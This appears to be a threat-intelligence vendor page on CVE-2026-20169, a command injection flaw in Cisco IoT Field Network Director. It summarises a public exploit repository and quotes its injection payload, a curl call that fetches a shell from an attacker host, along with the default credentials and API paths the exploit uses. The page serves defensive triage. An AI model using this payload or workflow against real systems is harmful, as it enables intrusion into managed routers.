Loading vulnerability…
CVE-2026-20169 is a command injection vulnerability in the web-based management interface of Cisco IoT Field Network Director. The flaw is caused by insufficient input validation of user-supplied data processed through the management interface. An authenticated remote attacker with low privileges can submit crafted input that is interpreted in a way that enables access to files on a managed remote router and execution of limited commands in user EXEC mode. The vulnerability affects the trust boundary between the management application and downstream router command or file operations, allowing attacker-controlled input to influence those operations.
Mallory correlates every CVE against your assets, your vendors, and active adversary campaigns. Know which vulnerabilities matter for you, not just which ones are loud.
What it means. What to do now. Patch path, mitigations, and the assume-compromise checklist.
What an attacker gets, and what they’ve been doing with it.
If you can’t patch tonight, do this now.
Patch, then assume compromise.
1 valid exploit after Mallory filtered fakes, detection scripts, and README-only repos.
This repository contains a single Windows C++ executable source file (MAIN.CPP) and a README. The code is not merely a scanner: it implements a full exploit workflow against a product identified in logs/readme as 'IoT-FND'. The program scans a hardcoded local subnet (192.168.1.1-192.168.1.254), checks whether TCP/8080 is open, then attempts authentication using hardcoded default credentials admin/admin by issuing an HTTP GET to /login.jsp on port 80. If authentication appears successful (HTTP 200 or 302), it sends a POST request to /api/v1/properties on port 8080 with the payload 'id=;curl http://192.168.1.100:8080/shell.php'. This strongly indicates command injection, where the target executes curl and retrieves a second-stage payload from an attacker-controlled server. Repository structure is minimal: MAIN.CPP contains all logic including logging, TCP port probing, authentication, exploitation, and the main entry point; README.md describes it as a research prototype and emphasizes scanning and validation, but the source clearly includes exploitation capability. The implementation uses Windows-native networking APIs/libraries (WinINet, WinHTTP headers, Winsock-style socket usage), though the actual HTTP logic is primarily via WinINet. The exploit is operational but basic: payload and targets are hardcoded, there is no flexible operator input, and no advanced post-exploitation logic is included. Notable indicators include the management API path /api/v1/properties, login path /login.jsp, local scan range 192.168.1.0/24, management port 8080, and the staging URL http://192.168.1.100:8080/shell.php.
Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.
Vendor-confirmed product mapping. Mallory continuously reconciles this list against your asset inventory.
7 sources tracked across advisories and community write-ups. News coverage will land here when it surfaces.
No news coverage yet. Advisories and community discussion only.
Query your assets running an affected version, and investigate the blast radius.
Every observed campaign linking this CVE to a named adversary.
Malware families riding this exploit, with evidence and IOCs.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Cross-references every affected SKU, including bundled OEM variants.
Community discussion across Reddit, Mastodon, and other social sources.